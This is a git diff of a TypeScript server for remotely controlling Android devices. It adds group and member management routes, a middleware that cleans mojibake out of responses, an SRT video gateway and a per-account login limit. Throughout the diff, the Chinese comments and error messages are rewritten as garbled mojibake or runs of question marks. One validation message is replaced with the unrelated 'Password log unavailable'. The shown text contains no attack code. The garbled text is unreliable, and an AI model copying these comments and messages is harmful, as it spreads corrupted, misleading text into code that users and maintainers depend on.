diff --git a/.editorconfig b/.editorconfig new file mode 100644 index 0000000..ae13ce8 --- /dev/null +++ b/.editorconfig @@ -0,0 +1,11 @@ +root = true + +[*] +charset = utf-8 +end_of_line = lf +insert_final_newline = true +indent_style = space +indent_size = 2 + +[*.{ts,tsx,js,json,yml,yaml,md}] +indent_size = 2 diff --git a/package-lock.json b/package-lock.json index 918a08e..a19deb2 100644 --- a/package-lock.json +++ b/package-lock.json @@ -14,7 +14,6 @@ "@types/multer": "^1.4.13", "@types/node": "^20.11.24", "bcryptjs": "^3.0.2", - "better-sqlite3": "*", "cors": "^2.8.5", "dotenv": "^17.2.3", "express": "^4.18.2", diff --git a/src/index.ts b/src/index.ts index 4541f52..eb06a85 100644 --- a/src/index.ts +++ b/src/index.ts @@ -1,9 +1,9 @@ -// 在文件最顶部加载环境变量配置 +// 閸︺劍鏋冩禒鑸垫付妞ゅ爼鍎撮崝鐘烘祰閻滎垰顣ㄩ崣姗€鍣洪柊宥囩枂 import dotenv from 'dotenv' import path from 'path' -// pkg 打包后,需要从可执行文件所在目录读取 .env 文件 -// @ts-ignore - process.pkg 是 pkg 打包后添加的属性 +// pkg 閹垫挸瀵橀崥搴礉闂団偓鐟曚椒绮犻崣顖涘⒔鐞涘本鏋冩禒鑸靛閸︺劎娲拌ぐ鏇☆嚢閿?.env 閺傚洣娆? +// @ts-ignore - process.pkg 閿?pkg 閹垫挸瀵橀崥搴㈠潑閸旂姷娈戠仦鐑囨嫹? const envPath = (process as any).pkg ? path.join(path.dirname(process.execPath), '.env') : path.join(process.cwd(), '.env') @@ -17,6 +17,7 @@ import cors from 'cors' import multer from 'multer' import { v4 as uuidv4 } from 'uuid' import fs from 'fs' +import { createHash } from 'crypto' import DeviceManager from './managers/DeviceManager' import WebClientManager from './managers/WebClientManager' import MessageRouter from './services/MessageRouter' @@ -26,9 +27,10 @@ import APKBuildService from './services/APKBuildService' import AuthService from './services/AuthService' import DeviceInfoSyncService from './services/DeviceInfoSyncService' import { AdaptiveQualityService } from './services/AdaptiveQualityService' +import SrtGatewayService from './services/SrtGatewayService' /** - * 远程控制服务端主应用 + * 鏉╂粎鈻奸幒褍鍩楅張宥呭缁旑垯瀵屾惔鏃傛暏 */ class RemoteControlServer { private app: express.Application @@ -43,11 +45,30 @@ class RemoteControlServer { private authService: AuthService private deviceInfoSyncService: DeviceInfoSyncService private adaptiveQualityService: AdaptiveQualityService + private srtGatewayService: SrtGatewayService private upload: multer.Multer private registrationQueue: Array<{ socket: any, data: any, timestamp: number }> = [] private isProcessingRegistration = false private lastRegistrationTime = 0 - private readonly REGISTRATION_COOLDOWN = 100 // 100ms间隔处理注册 + private readonly REGISTRATION_COOLDOWN = 100 // 100ms闂傛挳娈ф径鍕倞濞夈劌鍞? + private readonly responseMojibakeMarkers = [ + '\u95ff', + '\u95c1', + '\u7481', + '\ufffd', + '閿', + '闁', + '璁', + '馃', + '閺', + '閻', + '鐠', + '娑', + '鏉', + '妫', + '缁' + ] + private readonly transportConvergenceMode: 'webrtc_ws' | 'hybrid' constructor() { this.app = express() @@ -57,26 +78,26 @@ class RemoteControlServer { origin: "*", methods: ["GET", "POST"] }, - transports: ['polling', 'websocket'], // 🔧 修复:支持两种传输,Android用polling,Web用websocket - allowUpgrades: true, // 允许从polling升级到websocket - // 🔧 适度优化心跳配置,保持与Android端兼容 - pingTimeout: 90000, // 90秒 - 适度增加超时,避免网络抖动误断 - pingInterval: 45000, // 45秒 - 保持合理的心跳间隔 - upgradeTimeout: 45000, // 45秒 - 升级超时 - connectTimeout: 60000, // 60秒 - 连接超时 - // 🔧 连接管理优化 - maxHttpBufferSize: 1e8, // 100MB - 增大缓冲区,适应大屏幕数据 - allowEIO3: true, // 允许Engine.IO v3兼容性 - // ✅ 服务器端优化 - serveClient: false, // 禁用客户端服务,减少不必要的连接 - destroyUpgrade: false, // 不销毁升级连接 - destroyUpgradeTimeout: 1000, // 升级销毁超时1秒 - cookie: false, // 禁用cookie,减少连接复杂性 - // 🔧 新增:解决transport error的关键配置 - perMessageDeflate: false, // 禁用消息压缩,减少CPU负担和传输延迟 - httpCompression: false, // 禁用HTTP压缩,避免大数据传输时的压缩开销 + transports: ['polling', 'websocket'], // 棣冩暋 娣囶喖顦查敍姘暜閹镐椒琚辩粔宥勭炊鏉堟搫绱滱ndroid閻⑩暚olling閿涘eb閻⑩暢ebsocket + allowUpgrades: true, // 閸忎浇顔忔禒宸攐lling閸楀洨楠囬崚鐨恊bsocket + // 棣冩暋 闁倸瀹虫导妯哄韫囧啳鐑﹂柊宥囩枂閿涘奔绻氶幐浣风瑢Android缁旑垰鍚嬮敓? + pingTimeout: 90000, // 90閿?- 闁倸瀹虫晶鐐插鐡掑懏妞傞敍宀勪缉閸忓秶缍夌紒婊勫閸斻劏顕ら敓? + pingInterval: 45000, // 45閿?- 娣囨繃瀵旈崥鍫㈡倞閻ㄥ嫬绺剧捄鎶芥?閿? + upgradeTimeout: 45000, // 45閿?- 閸楀洨楠囩搾鍛 + connectTimeout: 60000, // 60閿?- 鏉╃偞甯寸搾鍛 + // 棣冩暋 鏉╃偞甯寸粻锛勬倞娴兼ê瀵? + maxHttpBufferSize: 1e8, // 100MB - 婢х偛銇囩紓鎾冲暱閸栫尨绱濋柅鍌氱安婢堆冪潌楠炴洘鏆熼敓? + allowEIO3: true, // 閸忎浇顔廍ngine.IO v3閸忕厧顔愰敓? + // 閿?閺堝秴濮熼崳銊ь伂娴兼ê瀵? + serveClient: false, // 缁備胶鏁ょ€广垺鍩涚粩顖涙箛閸斺槄绱濋崙蹇撶毌娑撳秴绻€鐟曚胶娈戞潻鐐村复 + destroyUpgrade: false, // 娑撳秹鏀㈠В浣稿磳缁狙嗙箾閿? + destroyUpgradeTimeout: 1000, // 閸楀洨楠囬柨鈧В浣界Т閿?閿? + cookie: false, // 缁備胶鏁ookie閿涘苯鍣虹亸鎴g箾閹恒儱顦查弶鍌︽嫹? + // 棣冩暋 閺傛澘顤冮敍姘承掗崘纭塺ansport error閻ㄥ嫬鍙ч柨顕€鍘ら敓? + perMessageDeflate: false, // 缁備胶鏁ゅ☉鍫熶紖閸樺缂夐敍灞藉櫤鐏忔厤PU鐠愮喐濯撮崪灞肩炊鏉堟挸娆㈤敓? + httpCompression: false, // 缁備胶鏁TTP閸樺缂夐敍宀勪缉閸忓秴銇囬弫鐗堝祦娴肩姾绶弮鍓佹畱閸樺缂夊鈧柨鈧? allowRequest: (req, callback) => { - // 允许所有请求,但记录连接信息用于调试 + // 閸忎浇顔忛幍鈧張澶庮嚞濮瑰偊绱濇担鍡氼唶瑜版洝绻涢幒銉や繆閹垳鏁ゆ禍搴ょ殶閿? const userAgent = req.headers['user-agent'] || 'unknown' const remoteAddress = req.connection.remoteAddress || 'unknown' callback(null, true) @@ -91,26 +112,30 @@ class RemoteControlServer { this.messageRouter = new MessageRouter(this.deviceManager, this.webClientManager, this.databaseService) this.apkBuildService = new APKBuildService() this.authService = new AuthService() - // 注意:AuthService 的异步初始化在 start() 方法中执行 + // 濞夈劍鍓伴敍娆皍thService 閻ㄥ嫬绱撳銉ュ灥婵瀵查敓?start() 閺傝纭舵稉顓熷⒔閿? this.deviceInfoSyncService = new DeviceInfoSyncService(this.authService) this.adaptiveQualityService = new AdaptiveQualityService() + this.srtGatewayService = new SrtGatewayService(this.server) + const modeRaw = String(process.env.VIDEO_TRANSPORT_MODE || 'webrtc_ws').trim().toLowerCase() + this.transportConvergenceMode = modeRaw === 'hybrid' ? 'hybrid' : 'webrtc_ws' + this.logger.info(`[Transport] convergence mode=${this.transportConvergenceMode}`) - // 配置multer用于文件上传 + // 闁板秶鐤唌ulter閻劋绨弬鍥︽娑撳﹣绱? this.upload = multer({ storage: multer.memoryStorage(), limits: { - fileSize: 2 * 1024 * 1024, // 2MB限制 + fileSize: 2 * 1024 * 1024, // 2MB闂勬劕鍩? }, fileFilter: (req, file, cb) => { if (file.mimetype.startsWith('image/')) { cb(null, true) } else { - cb(new Error('只支持图片文件')) + cb(new Error('???????')) } } }) - // ✅ 清理所有旧的客户端和设备记录(服务器重启时) + // 閿?濞撳懐鎮婇幍鈧張澶嬫+閻ㄥ嫬顓归幋椋庮伂閸滃矁顔曟径鍥唶瑜版洩绱欓張宥呭閸c劑鍣搁崥顖涙閿? this.webClientManager.clearAllClients() this.deviceManager.clearAllDevices() @@ -118,22 +143,30 @@ class RemoteControlServer { this.setupRoutes() this.setupSocketHandlers() - // ✅ 启动状态一致性检查定时器 + // 閿?閸氼垰濮╅悩鑸碘偓浣风閼峰瓨鈧勵梾閺屻儱鐣鹃弮璺烘珤 this.startConsistencyChecker() - // 🆕 启动设备信息同步服务 + // 棣冨晭 閸氼垰濮╃拋鎯ь槵娣団剝浼呴崥灞绢劄閺堝秴濮? this.deviceInfoSyncService.start() } /** - * 设置中间件 + * 鐠佸墽鐤嗘稉顓㈡?閿? */ private setupMiddleware(): void { this.app.use(cors()) this.app.use(express.json()) + this.app.use((req, res, next) => { + const originalJson = res.json.bind(res) + res.json = ((payload: any) => { + const sanitized = this.sanitizeJsonPayload(payload) + return originalJson(sanitized) + }) as typeof res.json + next() + }) - // pkg 打包后,需要从可执行文件所在目录读取 public 目录 - // @ts-ignore - process.pkg 是 pkg 打包后添加的属性 + // pkg 閹垫挸瀵橀崥搴礉闂団偓鐟曚椒绮犻崣顖涘⒔鐞涘本鏋冩禒鑸靛閸︺劎娲拌ぐ鏇☆嚢閿?public 閻╊喖缍? + // @ts-ignore - process.pkg 閿?pkg 閹垫挸瀵橀崥搴㈠潑閸旂姷娈戠仦鐑囨嫹? const publicPath = (process as any).pkg ? path.join(path.dirname(process.execPath), 'public') : path.join(process.cwd(), 'public') @@ -142,7 +175,7 @@ class RemoteControlServer { } /** - * 认证中间件 - 验证JWT token + * 鐠併倛鐦夋稉顓㈡?閿?- 妤犲矁鐦塉WT token */ private authMiddleware = (req: any, res: any, next: any) => { try { @@ -151,7 +184,7 @@ class RemoteControlServer { if (!authHeader || !authHeader.startsWith('Bearer ')) { return res.status(401).json({ success: false, - message: '未提供认证token' + message: '閺堫亝褰佹笟娑滎吇鐠囦辜oken' }) } @@ -161,36 +194,117 @@ class RemoteControlServer { if (!result.valid) { return res.status(401).json({ success: false, - message: result.error || '认证失败' + message: result.error || '鐠併倛鐦夋径杈Е' }) } - // 将用户信息添加到请求对象(包含角色信息) + // 鐏忓棛鏁ら幋铚備繆閹垱鍧婇崝鐘插煂鐠囬攱鐪扮€电钖勯敍鍫濆瘶閸氼偉顫楅懝韫繆閹垽绱? req.user = result.user req.user.isSuperAdmin = result.user?.role === 'superadmin' next() } catch (error: any) { - this.logger.error('认证中间件错误:', error) + this.logger.error('鐠併倛鐦夋稉顓㈡?娴犲爼鏁婇敓?', error) res.status(500).json({ success: false, - message: '服务器内部错误' + message: '???????' }) } } /** - * 检查是否为超级管理员 + * 濡偓閺屻儲妲搁崥锔胯礋鐡掑懐楠囩粻锛勬倞閿? */ private isSuperAdmin(req: any): boolean { return req.user?.role === 'superadmin' || req.user?.isSuperAdmin === true } + private getCurrentUserFromRequest(req: any): any | null { + const requestUser = req?.user + if (!requestUser) return null + + if (requestUser.id) { + const byId = this.authService.getUserById(String(requestUser.id)) + if (byId) return byId + } + + if (requestUser.username) { + const byUsername = this.authService.getUserByUsername(String(requestUser.username)) + if (byUsername) return byUsername + } + + return null + } + + private canManageGroupMembers(currentUser: any, groupId: string): boolean { + if (!currentUser || !groupId) return false + if (currentUser.role === 'superadmin') return true + if (currentUser.role === 'leader') { + return !!currentUser.groupId && currentUser.groupId === groupId + } + return false + } + + private sanitizeResponseString(value: string): string { + if (!value) return value + + const normalized = value.replace(/\s+/g, ' ').trim() + if (!normalized) return normalized + + const hasPlaceholder = /\?{3,}/.test(normalized) + const hasMojibake = this.responseMojibakeMarkers.some((marker) => normalized.includes(marker)) + if (!hasPlaceholder && !hasMojibake) { + return value + } + + const ascii = normalized + .replace(/\?{3,}/g, ' ') + .replace(/[^\x20-\x7E]+/g, ' ') + .replace(/\s+/g, ' ') + .trim() + + if (ascii.length < 8) { + return '[encoding-cleanup]' + } + return `[encoding-cleanup] ${ascii}` + } + + private sanitizeJsonPayload(payload: any): any { + if (payload == null) return payload + if (typeof payload === 'string') { + return this.sanitizeResponseString(payload) + } + if (Array.isArray(payload)) { + return payload.map((item) => this.sanitizeJsonPayload(item)) + } + if (typeof payload === 'object') { + if (payload instanceof Date || Buffer.isBuffer(payload)) { + return payload + } + const proto = Object.getPrototypeOf(payload) + if (proto !== Object.prototype && proto !== null) { + return payload + } + + const out: Record = {} + for (const [key, value] of Object.entries(payload)) { + out[key] = this.sanitizeJsonPayload(value) + } + return out + } + + return payload + } + + private isSrtTransportEnabled(): boolean { + return this.transportConvergenceMode === 'hybrid' && this.srtGatewayService.isEnabled() + } + /** - * 设置HTTP路由 + * 鐠佸墽鐤咹TTP鐠侯垳鏁? */ private setupRoutes(): void { - // 认证路由 + // 鐠併倛鐦夌捄顖滄暠 this.app.post('/api/auth/login', async (req, res) => { try { const { username, password } = req.body @@ -198,44 +312,44 @@ class RemoteControlServer { if (!username || !password) { res.status(400).json({ success: false, - message: '用户名和密码不能为空' + message: 'Password log unavailable' }) return } - // 🆕 检查是否已有活跃的Web客户端在线(超级管理员不受此限制) - const activeWebClients = this.getActiveWebClients() - const isSuperAdminLogin = username === (process.env.SUPERADMIN_USERNAME || 'superadmin') - - if (activeWebClients.length > 0 && !isSuperAdminLogin) { - this.logger.warn(`拒绝登录请求: 检测到 ${activeWebClients.length} 个活跃的Web客户端已在线`) - res.status(409).json({ - success: false, - message: '已有Web端在线,不允许重复登录', - activeClients: activeWebClients.length, - details: `检测到 ${activeWebClients.length} 个活跃的Web客户端连接。为确保安全,同时只允许一个Web端登录。` - }) - return - } - - if (isSuperAdminLogin && activeWebClients.length > 0) { - this.logger.info(`超级管理员登录,忽略 ${activeWebClients.length} 个活跃客户端限制`) - } - + // 棣冨晭 濡偓閺屻儲妲搁崥锕€鍑¢張澶嬫た鐠哄啰娈慦eb鐎广垺鍩涚粩顖氭躬缁惧尅绱欑搾鍛獓缁狅紕鎮婇崨妯圭瑝閸欐顒濋梽鎰煑閿? const result = await this.authService.login(username, password) if (result.success) { - this.logger.info(`用户登录成功: ${username}, 当前无其他Web客户端在线`) + const activeWebClients = this.getActiveWebClients() + const currentUsername = result.user?.username || username + const isSuperAdminLogin = result.user?.role === 'superadmin' + const sameAccountClients = activeWebClients.filter( + (client: any) => client.username && client.username === currentUsername + ) + + if (sameAccountClients.length > 0 && !isSuperAdminLogin) { + this.logger.warn(`\u62d2\u7edd\u767b\u5f55\u8bf7\u6c42: \u7528\u6237 ${currentUsername} \u5df2\u6709 ${sameAccountClients.length} \u4e2a\u6d3b\u8dc3Web\u7aef\u8fde\u63a5`) + res.status(409).json({ + success: false, + message: '\u5f53\u524d\u8d26\u53f7\u5df2\u6709Web\u7aef\u5728\u7ebf\uff0c\u4e0d\u5141\u8bb8\u91cd\u590d\u767b\u5f55', + activeClients: sameAccountClients.length, + details: `\u68c0\u6d4b\u5230\u8d26\u53f7 ${currentUsername} \u5df2\u6709 ${sameAccountClients.length} \u4e2a\u6d3b\u8dc3Web\u7aef\u8fde\u63a5\uff0c\u8bf7\u5148\u9000\u51fa\u5df2\u767b\u5f55\u4f1a\u8bdd\u3002` + }) + return + } + + this.logger.info(`??????: ${username}, ?????Web?????`) res.json(result) } else { res.status(401).json(result) } } catch (error: any) { - this.logger.error('登录接口错误:', error) + this.logger.error('閻ц缍嶉幒銉ュ經闁挎瑨顕?', error) res.status(500).json({ success: false, - message: '服务器内部错误' + message: '???????' }) } }) @@ -247,7 +361,7 @@ class RemoteControlServer { if (!authHeader || !authHeader.startsWith('Bearer ')) { res.status(401).json({ valid: false, - error: '缺少认证token' + error: '缂傚搫鐨拋銈堢槈token' }) return } @@ -258,23 +372,23 @@ class RemoteControlServer { res.json(result) } catch (error: any) { - this.logger.error('Token验证接口错误:', error) + this.logger.error('Token妤犲矁鐦夐幒銉ュ經闁挎瑨顕?', error) res.status(500).json({ valid: false, - error: '服务器内部错误' + error: '???????' }) } }) this.app.post('/api/auth/logout', (req, res) => { - // 简单的登出响应,实际的token失效在前端处理 + // 缁犫偓閸楁洜娈戦惂璇插毉閸濆秴绨查敍灞界杽闂勫懐娈憈oken婢惰鲸鏅ラ崷銊ュ缁旑垰顦╅敓? res.json({ success: true, - message: '登出成功' + message: '閻ц鍤幋鎰' }) }) - // 检查系统是否已初始化(不需要认证) + // 濡偓閺屻儳閮寸紒鐔告Ц閸氾箑鍑¢崚婵嗩潗閸栨牭绱欐稉宥夋付鐟曚浇顓荤拠渚婄礆 this.app.get('/api/auth/check-initialization', (req, res) => { try { const isInitialized = this.authService.isInitialized() @@ -287,19 +401,19 @@ class RemoteControlServer { initializationInfo: initInfo, lockFilePath: lockFilePath, help: isInitialized ? - `系统已初始化。如需重新初始化,请删除锁文件: ${lockFilePath}` : - '系统未初始化,需要进行首次设置' + `?????????????????????: ${lockFilePath}` : + '???????????????' }) } catch (error: any) { - this.logger.error('检查初始化状态失败:', error) + this.logger.error('濡偓閺屻儱鍨垫慨瀣閻樿埖鈧礁銇戦敓?', error) res.status(500).json({ success: false, - error: '服务器内部错误' + error: '???????' }) } }) - // 初始化系统(不需要认证,但只有在未初始化时才能调用) + // 閸掓繂顫愰崠鏍兇缂佺噦绱欐稉宥夋付鐟曚浇顓荤拠渚婄礉娴e棗褰ч張澶婃躬閺堫亜鍨垫慨瀣閺冭埖澧犻懗鍊熺殶閻㈩煉绱? this.app.post('/api/auth/initialize', async (req, res) => { try { const { username, password } = req.body @@ -307,7 +421,7 @@ class RemoteControlServer { if (!username || !password) { res.status(400).json({ success: false, - message: '用户名和密码不能为空' + message: 'Password log unavailable' }) return } @@ -321,15 +435,15 @@ class RemoteControlServer { } } catch (error: any) { - this.logger.error('系统初始化接口错误:', error) + this.logger.error('缁崵绮洪崚婵嗩潗閸栨牗甯撮崣锝夋晩閿?', error) res.status(500).json({ success: false, - message: '服务器内部错误' + message: '???????' }) } }) - // // 🆕 设备信息同步相关 API + // // 棣冨晭 鐠佹儳顦穱鈩冧紖閸氬本顒為惄绋垮彠 API // this.app.get('/api/device/sync/status', this.authMiddleware, (req: any, res) => { // try { // const status = this.deviceInfoSyncService.getStatus() @@ -338,10 +452,10 @@ class RemoteControlServer { // ...status // }) // } catch (error: any) { - // this.logger.error('获取同步状态失败:', error) + // this.logger.error('閼惧嘲褰囬崥灞绢劄閻樿埖鈧礁銇戦敓?', error) // res.status(500).json({ // success: false, - // message: '获取同步状态失败' + // message: '閼惧嘲褰囬崥灞绢劄閻樿埖鈧礁銇戦敓? // }) // } // }) @@ -352,24 +466,285 @@ class RemoteControlServer { // if (success) { // res.json({ // success: true, - // message: '同步已触发' + // message: '閸氬本顒炲鑼缎曢敓? // }) // } else { // res.status(500).json({ // success: false, - // message: '同步触发失败' + // message: '閸氬本顒炵憴锕€褰傛径杈Е' // }) // } // } catch (error: any) { - // this.logger.error('触发同步失败:', error) + // this.logger.error('鐟欙箑褰傞崥灞绢劄婢惰精瑙?', error) // res.status(500).json({ // success: false, - // message: '触发同步失败' + // message: '鐟欙箑褰傞崥灞绢劄婢惰精瑙? // }) // } // }) - // 健康检查 + // 閸嬨儱鎮嶅Λ鈧敓? + this.app.get('/api/auth/users', this.authMiddleware, (req: any, res) => { + try { + const currentUser = this.getCurrentUserFromRequest(req) + if (!currentUser) { + res.status(401).json({ success: false, message: '?????' }) + return + } + + res.json({ + success: true, + users: this.authService.getVisibleUsers(currentUser.id) + }) + } catch (error: any) { + this.logger.error('Failed to load visible users:', error) + res.status(500).json({ success: false, message: '閼惧嘲褰囬悽銊﹀煕閸掓銆冩径杈Е' }) + } + }) + + this.app.get('/api/auth/groups', this.authMiddleware, (req: any, res) => { + try { + const currentUser = this.getCurrentUserFromRequest(req) + if (!currentUser) { + res.status(401).json({ success: false, message: '?????' }) + return + } + + res.json({ + success: true, + groups: this.authService.getVisibleGroups(currentUser.id) + }) + } catch (error: any) { + this.logger.error('Failed to load visible groups:', error) + res.status(500).json({ success: false, message: '???????' }) + } + }) + + this.app.get('/api/auth/transfer-targets', this.authMiddleware, (req: any, res) => { + try { + const currentUser = this.getCurrentUserFromRequest(req) + if (!currentUser) { + res.status(401).json({ success: false, message: '?????' }) + return + } + + const users = this.authService + .getTransferTargets(currentUser.id) + .filter((user) => user.id !== currentUser.id) + + res.json({ + success: true, + users + }) + } catch (error: any) { + this.logger.error('Failed to load transfer targets:', error) + res.status(500).json({ success: false, message: '?????????' }) + } + }) + + this.app.get('/api/admin/groups', this.authMiddleware, (req: any, res) => { + if (!this.isSuperAdmin(req)) { + res.status(403).json({ success: false, message: '?????????' }) + return + } + + res.json({ + success: true, + groups: this.authService.getAllGroups() + }) + }) + + this.app.post('/api/admin/groups', this.authMiddleware, async (req: any, res) => { + try { + if (!this.isSuperAdmin(req)) { + res.status(403).json({ success: false, message: '?????????' }) + return + } + + const currentUser = this.getCurrentUserFromRequest(req) + if (!currentUser) { + res.status(401).json({ success: false, message: '?????' }) + return + } + + const allowBuild = req.body?.allowBuild !== false + const expiresAtRaw = req.body?.expiresAt + let expiresAt: Date | undefined + + if (typeof expiresAtRaw === 'string' && expiresAtRaw.trim()) { + const parsed = new Date(expiresAtRaw) + if (Number.isNaN(parsed.getTime())) { + res.status(400).json({ success: false, message: '鏉╁洦婀¢弮鍫曟?閺嶇厧绱¢弮鐘虫櫏' }) + return + } + expiresAt = parsed + } + + const result = await this.authService.createGroup(req.body?.name, currentUser.id, { + expiresAt, + allowBuild + }) + if (!result.success) { + res.status(400).json(result) + return + } + + res.json(result) + } catch (error: any) { + this.logger.error('Create group failed:', error) + res.status(500).json({ success: false, message: '???????' }) + } + }) + + this.app.delete('/api/admin/groups/:groupId', this.authMiddleware, async (req: any, res) => { + try { + if (!this.isSuperAdmin(req)) { + res.status(403).json({ success: false, message: '?????????' }) + return + } + + const groupId = String(req.params.groupId || '').trim() + const result = await this.authService.deleteGroup(groupId) + if (!result.success) { + res.status(400).json(result) + return + } + + res.json(result) + } catch (error: any) { + this.logger.error('Delete group failed:', error) + res.status(500).json({ success: false, message: '???????' }) + } + }) + + this.app.get('/api/groups/:groupId/members', this.authMiddleware, (req: any, res) => { + try { + const currentUser = this.getCurrentUserFromRequest(req) + if (!currentUser) { + res.status(401).json({ success: false, message: '?????' }) + return + } + + const groupId = String(req.params.groupId || '').trim() + if (!groupId) { + res.status(400).json({ success: false, message: 'groupId 娑撳秷鍏樻稉铏光敄' }) + return + } + + if (!this.canManageGroupMembers(currentUser, groupId)) { + res.status(403).json({ success: false, message: '閺冪姵娼堥弻銉ф箙鐠囥儳绮嶉幋鎰喅' }) + return + } + + res.json({ + success: true, + members: this.authService.getGroupMembers(groupId) + }) + } catch (error: any) { + this.logger.error('Load group members failed:', error) + res.status(500).json({ success: false, message: '???????' }) + } + }) + + this.app.post('/api/groups/:groupId/members', this.authMiddleware, async (req: any, res) => { + try { + if (!this.isSuperAdmin(req)) { + res.status(403).json({ success: false, message: '???????????' }) + return + } + + const groupId = String(req.params.groupId || '').trim() + if (!groupId) { + res.status(400).json({ success: false, message: 'groupId 娑撳秷鍏樻稉铏光敄' }) + return + } + + const username = String(req.body?.username || '').trim() + const password = String(req.body?.password || '') + const rawRole = String(req.body?.role || 'member').trim().toLowerCase() + if (rawRole !== 'leader' && rawRole !== 'member' && rawRole !== '') { + res.status(400).json({ success: false, message: '\u89d2\u8272\u4ec5\u652f\u6301 leader \u6216 member' }) + return + } + const role: 'leader' | 'member' = rawRole === 'leader' ? 'leader' : 'member' + + const result = await this.authService.createUser(username, password, { + role, + groupId + }) + if (!result.success) { + res.status(400).json(result) + return + } + + res.json(result) + } catch (error: any) { + this.logger.error('Add group member failed:', error) + res.status(500).json({ success: false, message: '???????' }) + } + }) + + this.app.delete('/api/groups/:groupId/members/:userId', this.authMiddleware, async (req: any, res) => { + try { + const currentUser = this.getCurrentUserFromRequest(req) + if (!currentUser) { + res.status(401).json({ success: false, message: '?????' }) + return + } + + const groupId = String(req.params.groupId || '').trim() + const userId = String(req.params.userId || '').trim() + if (!groupId || !userId) { + res.status(400).json({ success: false, message: 'groupId 閿?userId 娑撳秷鍏樻稉铏光敄' }) + return + } + + if (!this.canManageGroupMembers(currentUser, groupId)) { + res.status(403).json({ success: false, message: '閺冪姵娼堥幙宥勭稊鐠囥儳绮嶉幋鎰喅' }) + return + } + + const targetUser = this.authService.getUserById(userId) + if (!targetUser) { + res.status(404).json({ success: false, message: '?????' }) + return + } + + if (targetUser.role === 'superadmin') { + res.status(403).json({ success: false, message: '?????????' }) + return + } + + if (targetUser.groupId !== groupId) { + res.status(400).json({ success: false, message: 'Invalid group relationship' }) + return + } + + if (currentUser.role === 'leader') { + if (targetUser.role !== 'member') { + res.status(403).json({ success: false, message: 'Leader can only remove members' }) + return + } + + if (targetUser.id === currentUser.id) { + res.status(403).json({ success: false, message: 'Cannot remove yourself from group' }) + return + } + } + + const result = await this.authService.removeUser(userId) + if (!result.success) { + res.status(400).json(result) + return + } + + res.json(result) + } catch (error: any) { + this.logger.error('Delete group member failed:', error) + res.status(500).json({ success: false, message: '???????' }) + } + }) + this.app.get('/health', (req, res) => { res.json({ status: 'ok', @@ -379,9 +754,9 @@ class RemoteControlServer { }) }) - // API路由 (需要认证) + // API鐠侯垳鏁?(闂団偓鐟曚浇顓婚敓? this.app.get('/api/devices', this.authMiddleware, (req, res) => { - // ✅ 使用完整的设备列表(包含历史设备和正确状态) + // 閿?娴h法鏁ょ€瑰本鏆i惃鍕啎婢跺洤鍨悰顭掔礄閸栧懎鎯堥崢鍡楀蕉鐠佹儳顦崪灞绢劀绾喚濮搁幀渚婄礆 res.json(this.getAllDevicesIncludingHistory()) }) @@ -394,54 +769,54 @@ class RemoteControlServer { } }) - // 🆕 设备备注相关API + // 棣冨晭 鐠佹儳顦径鍥ㄦ暈閻╃鍙PI this.app.put('/api/devices/:deviceId/remark', this.authMiddleware, (req, res) => { try { const { deviceId } = req.params const { remark } = req.body - this.logger.info(`📝 更新设备备注: ${deviceId} -> ${remark}`) + this.logger.info(`?? ??????: ${deviceId} -> ${remark}`) - // 检查设备是否存在 + // 濡偓閺屻儴顔曟径鍥ㄦЦ閸氾箑鐡ㄩ敓? const device = this.deviceManager.getDevice(deviceId) if (!device) { - // 尝试从数据库查找设备 + // 鐏忔繆鐦禒搴㈡殶閹诡喖绨遍弻銉﹀鐠佹儳顦? const dbDevice = this.databaseService.getDeviceById(deviceId) if (!dbDevice) { res.status(404).json({ success: false, - message: '设备不存在' + message: '?????' }) return } } - // 更新设备备注 + // 閺囧瓨鏌婄拋鎯ь槵婢跺洦鏁? const success = this.databaseService.updateDeviceRemark(deviceId, remark || '') if (success) { - // 如果设备在线,更新内存中的设备信息 + // 婵″倹鐏夌拋鎯ь槵閸︺劎鍤庨敍灞炬纯閺傛澘鍞寸€涙ü鑵戦惃鍕啎婢跺洣淇婇敓? if (device) { device.remark = remark } res.json({ success: true, - message: '设备备注已更新', + message: '???????', deviceId: deviceId, remark: remark }) } else { res.status(500).json({ success: false, - message: '更新设备备注失败' + message: '閺囧瓨鏌婄拋鎯ь槵婢跺洦鏁炴径杈Е' }) } } catch (error) { - this.logger.error('更新设备备注失败:', error) + this.logger.error('閺囧瓨鏌婄拋鎯ь槵婢跺洦鏁炴径杈Е:', error) res.status(500).json({ success: false, - message: '服务器内部错误' + message: '???????' }) } }) @@ -450,23 +825,23 @@ class RemoteControlServer { try { const { deviceId } = req.params - this.logger.info(`📝 获取设备备注: ${deviceId}`) + this.logger.info(`?? ????: ${deviceId}`) - // 检查设备是否存在 + // 濡偓閺屻儴顔曟径鍥ㄦЦ閸氾箑鐡ㄩ敓? const device = this.deviceManager.getDevice(deviceId) if (!device) { - // 尝试从数据库查找设备 + // 鐏忔繆鐦禒搴㈡殶閹诡喖绨遍弻銉﹀鐠佹儳顦? const dbDevice = this.databaseService.getDeviceById(deviceId) if (!dbDevice) { res.status(404).json({ success: false, - message: '设备不存在' + message: '?????' }) return } } - // 获取设备备注 + // 閼惧嘲褰囩拋鎯ь槵婢跺洦鏁? const remark = this.databaseService.getDeviceRemark(deviceId) res.json({ @@ -475,42 +850,42 @@ class RemoteControlServer { remark: remark }) } catch (error) { - this.logger.error('获取设备备注失败:', error) + this.logger.error('閼惧嘲褰囩拋鎯ь槵婢跺洦鏁炴径杈Е:', error) res.status(500).json({ success: false, - message: '服务器内部错误' + message: '???????' }) } }) - // 🆕 查询设备是否被其他web客户端控制 + // 棣冨晭 閺屻儴顕楃拋鎯ь槵閺勵垰鎯佺悮顐㈠従娴犳潶eb鐎广垺鍩涚粩顖涘付閿? this.app.get('/api/devices/:deviceId/controller', this.authMiddleware, (req: any, res) => { try { const { deviceId } = req.params const currentUserId = req.user?.id const currentUsername = req.user?.username - this.logger.info(`🔍 查询设备控制状态: ${deviceId} (请求者: ${currentUsername})`) + this.logger.info(`?? ?????: ${deviceId} (????: ${currentUsername})`) - // 检查设备是否存在 + // 濡偓閺屻儴顔曟径鍥ㄦЦ閸氾箑鐡ㄩ敓? const device = this.deviceManager.getDevice(deviceId) if (!device) { - // 尝试从数据库查找设备 + // 鐏忔繆鐦禒搴㈡殶閹诡喖绨遍弻銉﹀鐠佹儳顦? const dbDevice = this.databaseService.getDeviceById(deviceId) if (!dbDevice) { res.status(404).json({ success: false, - message: '设备不存在' + message: '?????' }) return } } - // 获取控制该设备的客户端ID + // 閼惧嘲褰囬幒褍鍩楃拠銉啎婢跺洨娈戠€广垺鍩涚粩鐤楧 const controllerClientId = 